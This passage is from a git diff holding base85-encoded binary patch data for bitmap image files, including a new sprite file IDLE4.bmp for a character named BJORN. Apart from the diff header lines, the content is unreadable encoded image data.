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

Y@=|+bHUM17p zU|4ps)9u>373sp_MBZu-q$O;nkrvhi;39BaO&vBtG&a80BeK@xV6BHk7FxVR=TId}_tB0g$C8lclS*VZ{)jf6ef(@nZ5z;ZBhAbR{O0Igde$sTnv6nXbYNR4s4)rbr)S>ri>xZ6 zC7RKJ$OM8Kwk+&jClV8q#OxZW5KxG7PDJVw4Fohqxdd3`<$gg0@Ji_M^6nFW-(bPq zfI?sezFB%>iMN+?u{6#rGVgw%8SX^vB|8axkmUM{XMI7WthjTdvvYR29Wz{zGiu?q|0H@G) zdX}vmybPlI>6A6;tx*hUcX~$>qox@XC-2r>d$#ZhY!#7Ul#rztlingIzExP3O-zB8 zM{Ebb2)(2n7@bTAJQE?5(}<+Fm6ahg>tAV98beNuj9WU{h?=U);;l5|oU}t7RJEkk zjQRA*=0?_reV6}rN^JwqM&r-0(!PX+1a(9!v@>yCofmfrb4ggpDmsWb#LJ@+h0&q= z5P=*Hf$XS&T`1q}AZUPB<<%H?`00`0D0tJ`6X4hgy&aBf>mteY7APhi^KFWnTjka0 zRSekGjdp1n(V5!P+2dFsfaUDNf+B502eTV_%5%!{De5XM{PrhgG`9Tw@l(_3Q*r5u zF^7|`U%Roq^ycA%$D@y^9uAa0vM%jD)PIe2qYJG;V{ekTr!+=cm#8YB$fam0YUU&A z6v>AU<#q_zZSS?+fy{z%V{r7`Ca+Gvci$ER%k54iW(PNVJCIXYkihf^S2|nVkJupI zh(fEl6WHiVtnXoUJ0dgEg^?U3iSl5@hVg6TWw>Rz1@r~;3iDuS+PE8&`5P$E=Xb(r z<0)F>A7h0<;7zXL@{CpO_6aF+2+Hk|G2+y;=Qeg`x5DqV!S1lcFk9hR zl(e=pGH&7Iq0=#CED$@T;JNOl(XS;kY-IAODpVr_J|&ssAxu zX@k(%X#f4RcmCWVzP?9=m0Vx9^H=^4z_yu2= z_J0BQyJ!DHtlv(dq^MLzRery@pmCstQ;Zlck{c7m=HSVUAi^O3R3IT9Js zWU6j~?aRTwWz!FvxTScwm3akpgr&?Rl^m2c2pXCMO>KK^Jkh1|9MuMZLOXOwYyV%> z|2bCbM83waAi7nUTV!l$DxxYNZm?6^iQCqb59QB;^5b#v;|Hb=4Pn6k(yvj|JD z@Ca_<;@yl!IaSxzX5}79NKK4Oj*m}C%*o4bJ<~P=XGp#j+7|r3!uRca{wu7s7tsE% z1GM&yYqz2!25Gb`}3 zV44N=<^OE}xlo86&}w+e|E(DM(*^k7ux`8(7!PK>@$s)3zgd{S>h%BZ{-#a;53?$0 ASO5S3 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE4.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE4.bmp new file mode 100644 index 0000000000000000000000000000000000000000..ba6c29afa2ee047512c895be12c47f2ab111e1b3 GIT binary patch literal 18462 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 